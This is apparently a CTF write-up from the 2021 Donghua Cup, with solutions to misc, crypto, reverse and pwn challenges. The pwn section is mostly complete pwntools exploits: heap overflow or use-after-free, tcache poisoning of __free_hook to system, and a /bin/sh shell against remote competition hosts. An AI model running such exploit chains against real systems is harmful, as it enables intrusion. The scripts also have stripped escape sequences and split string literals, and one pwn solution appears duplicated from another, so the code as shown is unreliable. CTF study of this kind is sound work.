• 2021东华杯 第七届上海市大学生网络安全竞赛 部分wp


    2021东华杯

    第七届上海市大学生网络安全竞赛 部分wp

    misc

    checkin

    签到题,utf-7解码一下即可

    +AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-
    flag{dhb_7th}
    

    JumpJumpTiger

    给一个exe,逆向手狂喜,ida分析

    nt __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4[100]; // [rsp+20h] [rbp-60h]
      int v5[101]; // [rsp+1B0h] [rbp+130h]
      int v6; // [rsp+344h] [rbp+2C4h]
      int v7; // [rsp+348h] [rbp+2C8h]
      int i; // [rsp+34Ch] [rbp+2CCh]
    
      _main();
      printf("This is your hint!!!");
      v7 = 0;
      v6 = 0;
      for ( i = 0; i <= 99; ++i )
      {
        if ( i & 1 )
          v4[v6++] = i;
        else
          v5[v7++] = i;
      }
      return 0;
    }
    

    这个很明显就是分离奇偶位,但是分离什么?字符串搜索发现一串很长的字符串,类似base64,猜测可能是图片

    这段字符串很长,长到超出ida的最大行数,改用strings提取字符串至文本,然后编辑工具提取出这部分保存为txt文件,脚本处理一下

    from base64 import *
    
    a = ''
    b = ''
    with open('hint2.txt','r') as f:
    	text = f.read()
    	#print(text)
    	
    for i in range(len(text)):
    	if i & 1:
    		a += text[i]
    	else:
    		b += text[i]
    #print(a)
    print(b)
    with open('1.jpg','wb') as f1:
    	f1.write(b64decode(b))
    with open('1.png','wb') as f2:
    	f2.write(b64decode(a))
    

    两个图片是一样的,盲水印攻击得到flag

    project

    给了很多文件,还以为是工控,但是发现很多文件的日期都是很久前的了,猜测大概率这些文件是用不到的,发现一个备份文件,解压后得到一个文件,一部分内容为

    其他两部分分别为可打印字符和base64图片,先解密base64

    表情包文化,是随着网络社交沟通的增多出现的一种主流文化。一个人的表情包是其隐藏起来的真我,一个国家的表情包里能看到这个国家的表情。‌‌‌‌‍‬‬‌有时候,表情包表达的是不能道破的真实想法和感受,语言和文字的尽头,就是表情包施展的空间。
    表情包是网络语言的一种进化,它的产生和流行与其特定的“‌‌‌‌‍‍‍生存环境”有关。其追求醒目、新奇、谐谑等效果的特点,‌‌‌‌‍‌‬与年轻人张扬个性和搞怪的心理相符‌‌‌‌‍‌‬。
    表情包之所以能够大范围地传播,‌‌‌‌‍‬‍是因为其弥补了文字交流的枯燥和态度表达不准确的弱点,有效地提高了沟通效率。部分表情包具有替代文字的功能,‌‌‌‌‍‍‍还可以节省打字时间‌‌‌‌‍‌‌。随着智能手机的全面普及和社交应用软件的大量使用,表情包已经高频率地出现在人们的网络聊天对话当中。
    
    

    发现不可见字符,零宽解密http://330k.github.io/misc_tools/unicode_steganography.html得到:hurryup,可打印字符部分和base64相同,在此不累赘

    base64转图片,得到jpg文件,猜测可能是前面解出来的作为密钥,尝试jphswin,oursecret等工具,最终在oursecret发现flag

    where_can_find_code

    编辑器打开asc文件,发现一串很像是flag的字符串:

    <font>
    format("Translate the letter J into I");
    dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}
    </font>
    

    应该是某种换位密码,结合上面的话,应该是 Playfair Cipher ,那想办法得到密钥,文件类似是asc,尝试wb解密得到

    20810842042108421
    

    数字仅有20148组成,云影密码无疑,解密后得到 BINGO ,然后在线网站解一下就行

    http://rumkin.com/tools/cipher/playfair.php

    密码学

    fermat's revenge

    给了附件

    from Crypto.Util.number import *
    f = open('flag.txt', 'rb')
    m = bytes_to_long(f.read())
    f.close()
    e = 65537
    p = getPrime(1024)
    q = getPrime(1024)
    n = p * q
    c = pow(m, e, n)
    hint = pow(1010 * p + 1011, q, n)
    f = open('cipher.txt', 'w')
    f.write(f'n={n}
    ')
    f.write(f'c={c}
    ')
    f.write(f'hint={hint}
    ')
    f.close()
    

    这个给的条件比较少,数学推理开始

    hint = (1010*p+1011)^q mod n
    先二项式展开化简一下
    hint = (1010*p)^q+1011^q mod p
         = 1011^q mod p
         = 1011^pq mod p
    存在:1011^pq = 1011^p mod p
    所以p | hint-1011^n,
    又因为p | n
    所以q = gcd(N,hint-1011^n)
    所以N可被分解
    

    代码如下

    from gmpy2 import *
    from Crypto.Util.number import *
    
    n=17329555687339057933030881774167606066714011664369940819755094697939414110116183129515036417930928381309923593306884879686961969722610261114896200690291299753284120079351636102685226435454462581742248968732979816910255384339882675593423385529925794918175056364069416358095759362865710837992174966213332948216626442765218056059227797575954980861175262821459941222980957749720949816909119263643425681517545937122980872133309062049836920463547302193585676588711888598357927574729648088370609421283416559346827315399049239357814820660913395553316721927867556418628117971385375472454118148999848258824753064992040468588511
    c=2834445728359401954509180010018035151637121735110411504246937217024301211768483790406570069340718976013805438660602396212488675995602673107853878297024467687865600759709655334014269938893756460638324659859693599161639448736859952750381592192404889795107146077421499823006298655812398359841137631684363428490100792619658995661630533920917942659455792050032138051272224911869438429703875012535681896010735974555495618216882831524578648074539796556404193333636537331833807459066576022732553707927018332334884641370339471969967359580724737784159811992637384360752274204462169330081579501038904830207691558009918736480389
    hint=2528640120640884291705022551567142949735065756834488816429783990402901687493207894594113717734719036126087363828359113769238235697788243950392064194097056579105620723640796253143555383311882778423540515270957452851097267592400001145658904042191937942341842865936546187498072576943297002184798413336701918670376291021190387536660070933700475110660304652647893127663882847145502396993549034428649569475467365756381857116208029508389607872560487325166953770793357700419069480517845456083758105937644350450559733949764193599564499133714282286339445501435278957250603141596679797055178139335763901195697988437542180256184
    e = 65537
    
    q = gcd(n,hint-pow(1011,n,n))
    #print(q)
    p = n//q
    Fai = (p-1)*(q-1)
    d = invert(e,Fai)
    m = pow(c,d,n)
    print(long_to_bytes(m))
    #flag{1d2f28834ecxx3bxxx0xxxxxxxxe}
    

    The_RSA

    未解出

    My_CrptoSystem

    未解出

    BlockEncrypt

    未解出

    reverse

    ooo

    64位linux程序,ida分析一下

    其中比较的函数是一个比较的过程,可以动态调试稍微看一下

    大概就是取低字节比较,要求的输入flag先被异或处理,然后和取低字节的dword数组比较,相等就可以,dword的数据为

    0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D
    

    然后flag被异或的部分我们可以直接爆破求出

    a = [0x6,0x10C,0x201,0x307,0x41B,0x551,0x653,0x706,0x853,0x955,0x0A56,0x0B56,0x0C53,0x0D4D,0x0E55,0x0F50,0x1001,0x1154,0x124D,0x1354,0x1457,0x1557,0x1602,0x174D,0x1852,0x1957,0x1A58,0x1B02,0x1C4D,0x1D02,0x1E57,0x1F51,0x2051,0x2150,0x2252,0x2356,0x2406,0x2506,0x2657,0x2701,0x2804,0x291D]
    
    flag = ''
    for i in range(127):
    	for j in a:
    		flag += chr((i^j)&0xff)
    	if 'flag{' in flag:
    		print('Now is:',hex(i))
    		print(flag)
    		break
    

    感觉是非预期

    mod

    ida分析,跟进主函数

    跟进关键函数

    这里并没有发现什么,程序貌似没有执行完就结束了,看一下汇编

    这里发现ida解析出了问题,这里应该是个花指令,上od去掉花指令,这花指令主要是伪造了参数的末尾,将其全部nop就行,然后重新ida分析,得到新的函数

    此外,sub_4011A0函数也有花指令,不去掉的话,分析会出错

    最终可以判定此函数为主要算法函数

    int __cdecl sub_4011A0(int a1, int a2, int a3)
    {
      int result; // eax
      int v4; // [esp+14h] [ebp-40h]
    
      memset(&v4, 0xCCu, 0x40u);
      *(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
      result = a2 / 3;
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
      return result;
    }
    

    结合发现的字符串,这个算法应该是魔改的base64算法,base64表也知道,z3解一下

    https://www.freebuf.com/column/232002.html

    import z3
    
    '''
     *(_BYTE *)(a3 + 4 * (a2 / 3)) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 2) & 3) | *(_BYTE *)(a2 + a1 + 1) & 0x30 | *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 1) = byte_405018[(4 * (*(_BYTE *)(a2 + a1) & 3) | *(_BYTE *)(a2 + a1 + 2) & 0x30 | *(_BYTE *)(a2 + a1 + 1) & 0xC0) >> 2];
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 2) = byte_405018[(4 * (*(_BYTE *)(a2 + a1 + 1) & 3) | *(_BYTE *)(a2 + a1) & 0x30 | *(_BYTE *)(a2 + a1 + 2) & 0xC0) >> 2];
      result = a2 / 3;
      *(_BYTE *)(a3 + 4 * (a2 / 3) + 3) = byte_405018[(*(_BYTE *)(a2 + a1 + 2) & 0xC | 4 * *(_BYTE *)(a2 + a1 + 1) & 0x30 | 16 * *(_BYTE *)(a2 + a1) & 0xC0) >> 2];
    '''
    
    o = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
    n = '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp'
    flag = ''
    for i in range(0, len(n), 4):
    	_0 = o.index(n[i + 0])
    	_1 = o.index(n[i + 1])
    	_2 = o.index(n[i + 2])
    	_3 = o.index(n[i + 3])
    	
    	a1 = [z3.BitVec("a{}".format(j), 8) for j in range(3)]
    	#print(a1)
    	
    	sol = z3.Solver()
    	sol.add(((4 * (a1[2] & 3)) | a1[1] & 0x30 | a1[0] & 0xC0) == _0 << 2)
    	sol.add(((4 * (a1[0] & 3)) | a1[2] & 0x30 | a1[1] & 0xC0) == _1 << 2)
    	sol.add(((4 * (a1[1] & 3)) | a1[0] & 0x30 | a1[2] & 0xC0) == _2 << 2)
    	sol.add((a1[2] & 12 | (4 * a1[1]) & 0x30 | (16 * a1[0]) & 0xC0) == _3 << 2)
    	
    	assert sol.check() == z3.sat
    	solve = sol.model()
    	flag += "".join([chr(solve.eval(j).as_long()) for j in a1])
        
    print(flag)  
    

    得到flag

    hell'sgate

    未解出,待复现

    hello

    反编译失败,环境问题,待研究

    pwn

    bg3

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    64位程序,保护全部开启,堆溢出,泄露libc后,修改tcabin的fd为free_hook,然后写进system函数即可

    from pwn import *
    
    context(os = "linux", arch = "amd64",log_level= "debug")
    context.terminal = ['tmux', 'splitw', '-h']
    
    #r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./bg3_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
    r = remote('47.104.143.202',25997)
    libc = ELF('./bg3_pwn.so')
    #libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
    
    def menu(choice):
        r.recvuntil('Select:
    ')
        r.sendline(str(choice))
    
    def add(idx,size):
        menu(1)
        r.recvuntil('Index:
    ')
        r.sendline(str(idx))
        r.recvuntil('PayloadLength:
    ')
        r.sendline(str(size))
    
    def edit(idx,content):
        menu(2)
        r.recvuntil('Index:
    ')
        r.sendline(str(idx))
        r.recvuntil('BugInfo:
    ')
        r.send(content)
    
    def show(idx):
        menu(3)
        r.recvuntil('Index:
    ')
        r.sendline(str(idx))
    
    def delete(idx):
        menu(4)
        r.recvuntil('Index:
    ')
        r.sendline(str(idx))
    
    for i in range(9):
        add(i,0x88)#0-8
    
    for i in range(7,0,-1):
        delete(i)#7-1
    
    delete(0)
    add(9,0x78)
    show(9)
    
    libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ebc60
    print('libc_base',hex(libc_base))
    
    add(0,0x18)
    add(1,0x18)
    add(2,0x18)
    
    delete(2)
    delete(1)
    free_hook = libc_base+libc.sym['__free_hook']
    print('free_hook',hex(free_hook))
    edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'
    ')
    
    add(10,0x18)
    edit(10,'/bin/sh'+'
    ')
    
    system = libc_base+libc.sym['system']
    print('system',hex(system))
    add(11,0x18)
    edit(11,p64(system)+'
    ')
    delete(10)
    
    #gdb.attach(r)
    r.interactive()
    

    cpp1

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    64位程序,保护全开,没啥好说的

    from pwn import *
    
    context(os = "linux", arch = "amd64")#,log_level= "debug")
    context.terminal = ['tmux', 'splitw', '-h']
    
    #r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./cpp1_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
    #libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
    r = remote('47.104.143.202',43359)
    libc = ELF('./cpp1_pwn')
    
    def menu(choice):
        r.recvuntil('>>
    ')
        r.sendline(str(choice))
    
    def add(idx,size):
        menu(1)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
        r.recvuntil(">>
    ")
        r.sendline(str(size))
    
    def edit(idx,content):
        menu(2)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
        r.recvuntil(">>
    ")
        r.send(content)
    
    def show(idx):
        menu(3)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
    
    def delete(idx):
        menu(4)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
    
    for i in range(9):
        add(i,0x88)
    
    for i in range(7,0,-1):
        delete(i)
    
    delete(0)
    add(9,0x78)
    show(9)
    
    libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ebc60
    print('libc_base',hex(libc_base))
    
    add(0,0x18)
    add(1,0x18)
    add(2,0x18)
    
    delete(2)
    delete(1)
    free_hook = libc_base+libc.sym['__free_hook']
    print('free_hook',hex(free_hook))
    edit(0,'a'*0x18+p64(0x21)+p64(free_hook)+'
    ')
    
    add(10,0x18)
    edit(10,'/bin/sh'+'
    ')
    
    system = libc_base+libc.sym['system']
    print('system',hex(system))
    add(11,0x18)
    edit(11,p64(system)+'
    ')
    
    delete(10)
    
    #gdb.attach(r)
    r.interactive()
    

    gcc2

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    64位程序,保护全开,存在uaf漏洞,并且申请最大堆不超过0x67,因为这个造成大小的限制,可以伪造一个fake堆,让其溢出到下一个chunk的size,修改其达到满足进入unsortedbin的大小,然后填满后再次释放即可进入unsortedbin,进而泄露libc,后面就是写free_hook

    疑点:最开始是打算泄露堆地址,然后分配到 tcache控制块来泄露libc,但是本地调试是不成功的,原因待探究

    from pwn import *
    
    context(os = "linux", arch = "amd64")#,log_level= "debug")
    context.terminal = ['tmux', 'splitw', '-h']
    
    #r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so','./gcc2_pwn'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so'})
    #libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
    r = remote('47.104.143.202',15348)
    libc = ELF('./gcc2.so')
    
    def menu(choice):
        r.recvuntil('>>
    ')
        r.sendline(str(choice))
    
    def add(idx,size):
        menu(1)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
        r.recvuntil(">>
    ")
        r.sendline(str(size))
    
    def edit(idx,content):
        menu(2)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
        r.recvuntil(">>
    ")
        r.send(content)
    
    def show(idx):
        menu(3)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
    
    def delete(idx):
        menu(4)
        r.recvuntil(">>
    ")
        r.sendline(str(idx))
    
    
    add(0,0x67)
    add(1,0x67)
    add(2,0x67)
    add(3,0x67)
    add(4,0x18)
    
    delete(1)
    edit(1,p64(0)+p64(0x71)+'
    ')
    delete(0)
    show(0)
    heap_base = u64(r.recvuntil('
    ').strip().ljust(8,'x00'))
    print('heap_base',hex(heap_base))
    fake = heap_base+0x10
    
    edit(0,p64(fake)+'
    ')
    add(5,0x67)
    add(6,0x67)
    
    edit(6,'a'*0x58+'xe1'+'
    ')
    #edit(2,'aaa'+'
    ')
    #delete(2)
    for i in range(7):
        edit(2,p64(0)+'
    ')
        delete(2)
    edit(2,p64(0)+'
    ')
    delete(2)
    show(2)
    libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ebbe0
    print(hex(libc_base))
    
    add(7,0x18)
    add(8,0x18)
    delete(7)
    delete(8)
    free_hook = libc_base+libc.sym['__free_hook']
    print('free_hook',hex(free_hook))
    edit(8,p64(free_hook)+'
    ')
    add(9,0x18)
    add(10,0x18)
    
    system = libc_base+libc.sym['system']
    print('system',hex(system))
    edit(10,p64(system)+'
    ')
    edit(3,'/bin/sh'+'
    ')
    delete(3)
    #gdb.attach(r)
    r.interactive()
    

    boom_script

    未解出,待研究

    web

    非web选手,可见其他师傅的wp,我是个FW

    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    014Linux几种虚拟网络比较
    013Docker几种存储驱动比较(转发)
    005文件系统压测工具iozone
    016SNAT和DNAT区别
    012docker四种网络模式区别
    001CPU个数/物理核数/逻辑核数/vCPU数之间的区别
    009Ubuntu关闭掉终端或jet公司烦人的bell音
    Java 微信小程序imgSecCheck接口示例-校验一张图片是否含有违法违规内容
    提升NginxTLS/SSL HTTPS 性能的7条优化建议
    MySQL复合索引探究
  • 原文地址:https://www.cnblogs.com/crfshadow/p/15510372.html
Copyright © 2020-2023  润新知